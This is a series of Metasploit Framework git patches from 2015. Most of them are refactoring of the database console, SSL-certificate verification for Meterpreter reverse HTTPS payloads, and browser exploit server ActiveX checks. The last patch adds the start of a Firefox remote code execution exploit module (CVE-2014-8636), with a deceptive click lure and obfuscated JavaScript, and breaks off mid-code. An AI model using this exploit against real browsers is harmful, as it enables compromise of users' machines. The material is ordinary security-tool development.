b/lib/msf/ui/console/command_dispatcher/db.rb index 1eb41a29d2..a623a6cef1 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -288,14 +288,14 @@ class Db def delete_host_tag(rws, tag_name) wspace = framework.db.workspace if rws == [nil] - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name).order("tags.id DESC") + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name) found_tags.each do |t| t.delete end else rws.each do |rw| rw.each do |ip| - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC") + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name) found_tags.each do |t| t.delete end From 182018786b37805b85e1a1779eeaca9d7f501016 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 20:55:20 -0500 Subject: [PATCH 075/279] This is probably the proper way to delete tags --- lib/msf/ui/console/command_dispatcher/db.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index a623a6cef1..f1c5fcc62f 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -287,21 +287,28 @@ class Db def delete_host_tag(rws, tag_name) wspace = framework.db.workspace + tag_ids = [] if rws == [nil] found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name) found_tags.each do |t| - t.delete + tag_ids << t.id end else rws.each do |rw| rw.each do |ip| found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name) found_tags.each do |t| - t.delete + tag_ids << t.id end end end end + + tag_ids.each do |id| + tag = Mdm::Tag.find_by_id(id) + tag.hosts.delete + tag.destroy + end end def cmd_hosts(*args) From 23685694ad712c885d4a9521143459d6ca113e5d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 21:04:37 -0500 Subject: [PATCH 076/279] The tags column should be a virtual column --- lib/msf/ui/console/command_dispatcher/db.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index f1c5fcc62f..0b96ffa0ef 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -326,9 +326,9 @@ class Db output = nil default_columns = ::Mdm::Host.column_names.sort default_columns << 'tags' # Special case - virtual_columns = [ 'svcs', 'vulns', 'workspace' ] + virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ] - col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments', 'tags'] + col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] default_columns.delete_if {|v| (v[-2,2] == "id")} while (arg = args.shift) @@ -469,13 +469,13 @@ class Db when "svcs"; host.services.length when "vulns"; host.vulns.length when "workspace"; host.workspace.name + when "tags" + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") + tag_names = [] + found_tags.each {|t| tag_names << t.name} + found_tags * ", " end # Otherwise, it's just an attribute - elsif n == 'tags' - found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") - tag_names = [] - found_tags.each {|t| tag_names << t.name} - found_tags * ", " else host.attributes[n] || "" end From 9c9d333a1b05d76bc19d64487afb5d9eedca5cc4 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 23 Mar 2015 13:21:08 +1000 Subject: [PATCH 077/279] Create verify ssl mixin, adjust some formatting --- lib/msf/core/handler/reverse_http.rb | 24 ++++++------------- .../core/payload/windows/reverse_winhttps.rb | 23 ++++-------------- lib/rex/parser/x509_certificate.rb | 4 ++-- lib/rex/payloads/meterpreter/patch.rb | 12 +++++----- .../windows/meterpreter_reverse_https.rb | 24 ++++++------------- 5 files changed, 26 insertions(+), 61 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b55725d87a..1a0707e3a8 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -4,6 +4,7 @@ require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf module Handler @@ -17,6 +18,7 @@ module ReverseHttp include Msf::Handler include Msf::Handler::ReverseHttp::UriChecksum + include Msf::Payload::Windows::VerifySsl # # Returns the string representation of the handler type @@ -292,13 +294,15 @@ protected blob = obj.stage_payload + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # # Patch options into the payload # - Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, :ssl => ssl?, :url => url, - :ssl_cert_hash => get_ssl_cert_hash, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], @@ -306,7 +310,7 @@ protected :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxy_pass => datastore['PayloadProxyPass']) resp.body = encode_stage(blob) @@ -357,20 +361,6 @@ protected port > 0 ? port : datastore['LPORT'].to_i end - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index e53aa6ae2d..4fe531ccff 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' -require 'rex/parser/x509_certificate' +require 'msf/core/payload/windows/verify_ssl' module Msf @@ -17,6 +17,7 @@ module Msf module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp + include Msf::Payload::Windows::VerifySsl # # Register reverse_winhttps specific options @@ -49,7 +50,8 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert_hash = get_ssl_cert_hash + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space @@ -97,23 +99,6 @@ module Payload::Windows::ReverseWinHttps space end - # - # Get the SSL hash from the certificate, if required. - # - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb index a1fad8a968..61a0a4b179 100644 --- a/lib/rex/parser/x509_certificate.rb +++ b/lib/rex/parser/x509_certificate.rb @@ -58,7 +58,7 @@ class X509Certificate # # Parse a certificate in unified PEM format and retrieve - # the SHA1 hash. + # the SHA1 hash. # # @param [String] ssl_cert # @return [String] @@ -74,7 +74,7 @@ class X509Certificate # # Parse a file that contains a certificate in unified PEM - # format and retrieve the SHA1 hash. + # format and retrieve the SHA1 hash. # # @param [String] ssl_cert_file # @return [String] diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 67aba9e855..166eb7f7cf 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -99,12 +99,12 @@ module Rex # Patch options into metsrv for reverse HTTP payloads def self.patch_passive_service!(blob, options) - patch_transport! blob, options[:ssl] - patch_url! blob, options[:url] - patch_expiration! blob, options[:expiration] - patch_comm_timeout! blob, options[:comm_timeout] - patch_ua! blob, options[:ua] - patch_ssl_check! blob, options[:ssl_cert_hash] + patch_transport!(blob, options[:ssl]) + patch_url!(blob, options[:url]) + patch_expiration!(blob, options[:expiration]) + patch_comm_timeout!(blob, options[:comm_timeout]) + patch_ua!(blob, options[:ua]) + patch_ssl_check!(blob, options[:ssl_cert_hash]) patch_proxy!(blob, options[:proxy_host], options[:proxy_port], diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index e82262b61b..db2dcb9d77 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -16,6 +16,7 @@ module Metasploit3 include Msf::Payload::Windows::StagelessMeterpreter include Msf::Sessions::MeterpreterOptions + include Msf::Payload::Windows::VerifySsl def initialize(info = {}) @@ -55,10 +56,13 @@ module Metasploit3 # end #end - Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll, :url => url, :ssl => true, - :ssl_cert_hash => get_ssl_cert_hash, + :ssl_cert_hash => verify_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ua => datastore['MeterpreterUserAgent'], @@ -66,24 +70,10 @@ module Metasploit3 :proxyport => datastore['PROXYPORT'], :proxy_type => datastore['PROXY_TYPE'], :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_password => datastore['PROXY_PASSWORD']) end end - def get_ssl_cert_hash - unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - return nil - end - - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - end - - hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) - print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") - hash - end - end From 20131110cd21c91efda225908d8681f551e2e9cd Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 23 Mar 2015 13:22:10 +1000 Subject: [PATCH 078/279] Add verify_ssl file (missed in prev commit) --- lib/msf/core/payload/windows/verify_ssl.rb | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 lib/msf/core/payload/windows/verify_ssl.rb diff --git a/lib/msf/core/payload/windows/verify_ssl.rb b/lib/msf/core/payload/windows/verify_ssl.rb new file mode 100644 index 0000000000..3c038d488f --- /dev/null +++ b/lib/msf/core/payload/windows/verify_ssl.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/parser/x509_certificate' + +module Msf + +### +# +# Implements SSL validation check options +# +### + +module Payload::Windows::VerifySsl + + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash(verify_cert, handler_cert) + unless verify_cert.to_s =~ /^(t|y|1)/i + return nil + end + + unless handler_cert + raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + +end + +end + From 2e75d14d5635e2adce3143915a12057311019ee8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 23 Mar 2015 00:53:55 -0500 Subject: [PATCH 079/279] Update rspec --- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 06343daeb2..3801881058 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do " -i,--info Change the info of a host", " -n,--name Change the name of a host", " -m,--comment Change the comment of a host", - "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + " -t,--tag Add or specify a tag to a range of hosts" + "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags" ] end end From 01caf161f8f20a73e89fe52da75eb46b63ecdb12 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 23 Mar 2015 01:35:26 -0500 Subject: [PATCH 080/279] Fix syntax error in db_spec.rb --- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 3801881058..8e693bc74a 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -394,7 +394,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do " -i,--info Change the info of a host", " -n,--name Change the name of a host", " -m,--comment Change the comment of a host", - " -t,--tag Add or specify a tag to a range of hosts" + " -t,--tag Add or specify a tag to a range of hosts", "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags" ] end From b191f92713ea4cf754c21a9028657ff78fecc71e Mon Sep 17 00:00:00 2001 From: aushack Date: Mon, 23 Mar 2015 18:15:04 +1100 Subject: [PATCH 081/279] Renamed WordPress files to fit majority naming convention. --- .../webapp/{php_wordpress_foxypress.rb => wp_foxypress_upload.rb} | 0 .../{php_wordpress_infusionsoft.rb => wp_infusionsoft_upload.rb} | 0 .../webapp/{php_wordpress_lastpost.rb => wp_lastpost_exec.rb} | 0 ...{php_wordpress_optimizepress.rb => wp_optimizepress_upload.rb} | 0 .../{php_wordpress_total_cache.rb => wp_total_cache_exec.rb} | 0 5 files changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/unix/webapp/{php_wordpress_foxypress.rb => wp_foxypress_upload.rb} (100%) rename modules/exploits/unix/webapp/{php_wordpress_infusionsoft.rb => wp_infusionsoft_upload.rb} (100%) rename modules/exploits/unix/webapp/{php_wordpress_lastpost.rb => wp_lastpost_exec.rb} (100%) rename modules/exploits/unix/webapp/{php_wordpress_optimizepress.rb => wp_optimizepress_upload.rb} (100%) rename modules/exploits/unix/webapp/{php_wordpress_total_cache.rb => wp_total_cache_exec.rb} (100%) diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb similarity index 100% rename from modules/exploits/unix/webapp/php_wordpress_foxypress.rb rename to modules/exploits/unix/webapp/wp_foxypress_upload.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb similarity index 100% rename from modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb rename to modules/exploits/unix/webapp/wp_infusionsoft_upload.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/wp_lastpost_exec.rb similarity index 100% rename from modules/exploits/unix/webapp/php_wordpress_lastpost.rb rename to modules/exploits/unix/webapp/wp_lastpost_exec.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb similarity index 100% rename from modules/exploits/unix/webapp/php_wordpress_optimizepress.rb rename to modules/exploits/unix/webapp/wp_optimizepress_upload.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/wp_total_cache_exec.rb similarity index 100% rename from modules/exploits/unix/webapp/php_wordpress_total_cache.rb rename to modules/exploits/unix/webapp/wp_total_cache_exec.rb From 156520338d29772d906aca773255c3fb59cd9c04 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 23 Mar 2015 12:21:27 -0500 Subject: [PATCH 082/279] Making some changes to how BES handles ActiveX --- .../exploit/remote/browser_exploit_server.rb | 136 ++++++++---------- .../windows/browser/adobe_flash_avm2.rb | 8 +- 2 files changed, 69 insertions(+), 75 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f72415f7f2..78f205ae26 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -49,24 +49,23 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Either 'script' or 'headers' - :ua_name, # Example: MSIE - :ua_ver, # Example: 8.0, 9.0 - :os_name, # Example: Windows 7, Linux - :os_device, # Example: iPad, iPhone, etc - :os_vendor, # Example: Microsoft, Ubuntu, Apple, etc - :os_sp, # Example: SP2 - :language, # Example: en-us - :arch, # Example: x86 - :proxy, # 'true' or 'false' - :silverlight, # 'true' or 'false' - :office, # Example: "2007", "2010" - :java, # Example: 1.6, 1.6.0.0 - :clsid, # ActiveX clsid. Also requires the :method key - :method, # ActiveX method. Also requires the :clsid key - :mshtml_build, # mshtml build. Example: "65535" - :flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" + :source, # Return either 'script' or 'headers' + :ua_name, # Example: Returns 'MSIE' + :ua_ver, # Example: Returns '8.0', '9.0' + :os_name, # Example: Returns 'Windows 7', 'Linux' + :os_device, # Example: Returns 'iPad', 'iPhone', etc + :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + :os_sp, # Example: Returns 'SP2' + :language, # Example: Returns 'en-us' + :arch, # Example: Returns 'x86' + :proxy, # Returns 'true' or 'false' + :silverlight, # Returns 'true' or 'false' + :office, # Example: Returns "2007", "2010" + :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) + :mshtml_build, # mshtml build. Example: Returns "65535" + :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;", + :activex # Example: [{:clsid=>'String', :method=>'String'}] ]) def initialize(info={}) @@ -105,68 +104,61 @@ module Msf super end - # + # Returns the custom 404 URL set by the user # # @return [String] - # def get_custom_404_url datastore['Custom404'].to_s end - # + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync - # def sync(&block) (@mutex ||= Mutex.new).synchronize(&block) end - # + # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page - # def get_module_resource "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" end - # + # Returns the absolute URL to the module's resource that points to on_request_exploit # # @return [String] absolute URI to the exploit page - # def get_module_uri "#{get_uri.chomp("/")}/#{@exploit_receiver_page}" end - # + # Returns the current target - # def get_target @target end - # + # Returns a hash of recognizable requirements # # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements - # def extract_requirements(reqs) tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end - # + # Sets the target automatically based on what requirements are met. # If there's a possible matching target, it will also merge the requirements. # You can use the get_target() method to retrieve the most current target. # # @param profile [Hash] The profile to check - # def try_set_target(profile) match_counts = [] target_requirements = {} @@ -195,30 +187,32 @@ module Msf end end + # Returns true if a bad ActiveX is found, otherwise false # + # @param expected_ax [Array] ActiveX requirements set by the module + def has_bad_activex?(user_ax) + user_ax.each do |a| + found = a[:found] + return true unless found + end + + false + end + # Returns an array of items that do not meet the requirements # # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met - # def get_bad_requirements(profile) bad_reqs = [] - # At this point the check is already done. - # If :activex is true, that means the clsid + method had a match, - # if not, then false. - if @requirements[:clsid] and @requirements[:method] - @requirements[:activex] = 'true' # Script passes boolean as string - end - @requirements.each do |k, v| - # Special keys to ignore because the script registers this as [:activex] = true or false - next if k == :clsid or k == :method - expected = k != :vuln_test ? v : 'true' vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") - if k == :vuln_test + if k == :activex + bad_reqs << k unless has_bad_activex?(v) + elsif k == :vuln_test bad_reqs << k unless profile[k.to_sym].to_s == 'true' elsif v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v @@ -232,7 +226,6 @@ module Msf bad_reqs end - # # Returns the target profile based on the tag. Each profile has the following structure: # 'cookie_name' => # { @@ -253,7 +246,7 @@ module Msf # # If the source is 'script', the profile might have even more information about plugins: # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) # 'java' : The Java version # 'mshtml_build' : The MSHTML build version # 'flash' : The Flash version @@ -261,45 +254,41 @@ module Msf # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil - # def get_profile(tag) sync do return @target_profiles[tag] end end - # + # Updates information for a specific profile # # @param target_profile [Hash] The profile to update # @param key [Symbol] The symbol to use for the hash # @param value [String] The value to assign - # def update_profile(target_profile, key, value) sync do target_profile[key] = value end end - # + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile - # def init_profile(tag) sync do @target_profiles[tag] ||= {} end end - # + # Retrieves a tag. # First it obtains the tag from the browser's "Cookie" header. # If the header is empty (possible if the browser has cookies disabled), # then it will return a tag based on IP + the user-agent. # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first @@ -317,13 +306,12 @@ module Msf tag end - # + # Registers target information to @target_profiles # # @param source [Symbol] Either :script, or :headers # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) init_profile(tag) @@ -361,23 +349,21 @@ module Msf }) end - # + # Checks if the target is running a proxy # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Boolean] True if found, otherwise false - # def has_proxy?(request) proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys !proxy_header_set.empty? end - # + # Returns the code for client-side detection # # @param user_agent [String] The user-agent of the browser # @return [String] Returns the HTML for detection - # def get_detection_html(user_agent) ua_info = fingerprint_user_agent(user_agent) os = ua_info[:os_name] @@ -418,11 +404,20 @@ module Msf d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); <% - clsid = @requirements[:clsid] - method = @requirements[:method] - if clsid and method + activex = @requirements[:activex] + if activex %> - d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ''; + <% + activex.each do \|a\| + clsid = a[:clsid] + method = a[:method] + %> + var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + if (ax == false) { + d['activex'] += "<%=clsid%>=<%=method%>;"; + } + <% end %> <% end %> <% end %> @@ -462,12 +457,11 @@ module Msf cookie end - # + # Handles exploit stages. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def on_request_uri(cli, request) case request.uri when '/', get_resource.chomp("/") @@ -548,18 +542,17 @@ module Msf end end - # + # Overriding method. The module should override this. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param browser_info [Hash] The target profile - # def on_request_exploit(cli, request, browser_info) raise NoMethodError, "Module must define its own on_request_exploit method" end - # + # Converts an ERB-based exploit template into HTML, and sends to client # # @param cli [Socket] Socket for the browser @@ -567,7 +560,6 @@ module Msf # then this is handled as an Array, with the first element # being the HTML, and the second element is the binding object. # @param headers [Hash] The custom HTTP headers to include in the response - # def send_exploit_html(cli, template, headers={}) html = '' if template.class == Array @@ -578,13 +570,12 @@ module Msf send_response(cli, html, headers) end - # + # Generates a target-specific payload, should be called by the module # # @param cli [Socket] Socket for the browser # @param browser_info [Hash] The target profile # @return [String] The payload - # def get_payload(cli, browser_info) arch = browser_info[:arch] platform = browser_info[:os_name] @@ -618,9 +609,8 @@ module Msf private - # + # Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead. - # def send_not_found(cli) custom_404_url = get_custom_404_url if custom_404_url.blank? diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 0a3dfc9fa5..a6b5c19994 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", - :method => "LoadMovie", + :activex => [ + { + :clsid => '{D27CDB6E-AE6D-11cf-96B8-444553540000}', + :method => 'LoadMovie' + } + ], :os_name => OperatingSystems::Match::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\./ } From 21a97c092666b82ecefe57d71154fb0e678f67ae Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 23 Mar 2015 13:44:41 -0500 Subject: [PATCH 083/279] Add exploit for R7-2015-04, Firefox Proxy RCE --- .../multi/browser/firefox_proxy_prototype.rb | 115 ++++++++++++++++++ 1 file changed, 115 insertions(+) create mode 100644 modules/exploits/multi/browser/firefox_proxy_prototype.rb diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb new file mode 100644 index 0000000000..03120d4c24 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect + component and gaining a reference to the privileged chrome:// window. This exploit + requires the user to click anywhere on the page to trigger the vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joev' # discovery and metasploit module + ], + 'DisclosureDate' => "Jan 20 2014", + 'References' => [ + ['CVE', '2014-8636'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] + + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def default_html + "The page has moved. Click here to be redirected." + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + js = js_obfuscate %Q| + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + var props = {}; + props.has = function(n){ + if (!window.top.x && n=='nodeType') { + 